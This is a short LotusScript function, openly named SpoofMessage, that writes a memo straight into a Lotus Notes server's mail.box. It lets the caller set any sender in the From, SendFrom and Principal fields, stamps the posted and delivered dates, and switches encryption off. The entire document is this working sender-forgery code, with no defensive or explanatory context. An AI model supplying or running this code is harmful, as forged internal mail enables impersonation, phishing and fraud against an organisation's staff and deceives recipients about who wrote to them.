Function SpoofMessage( Byval sendas As String, Byval sendto As String, subject As
String, message As String )
Dim session As New NotesSession
Dim current As NotesDatabase
Dim mailbox As New NotesDatabase("","")
Dim maildoc As NotesDocument
Dim rtitem As NotesRichTextItem
' get handle to mail.box on the users current mail server
Set current = session.CurrentDatabase
Call mailbox.Open( current.server, "mail.box" )
' Create a new document in the severs mail box
Set maildoc = mailbox.CreateDocument
maildoc.Form = "Memo"
maildoc.From = sendas
maildoc.SendFrom = sendas
maildoc.SendTo = sendto
maildoc.Recipients = sendto
maildoc.Subject = subject
Set rtitem = maildoc.CreateRichTextItem( "Body" )
Call rtitem.AppendText( message )
maildoc.PostedDate = Now()
maildoc.ComposedDate = Now()
maildoc.DeliveredDate = Now()
maildoc.Principal = sendas
maildoc.EncryptOnSend = False
Call maildoc.Save( True, False )
End Function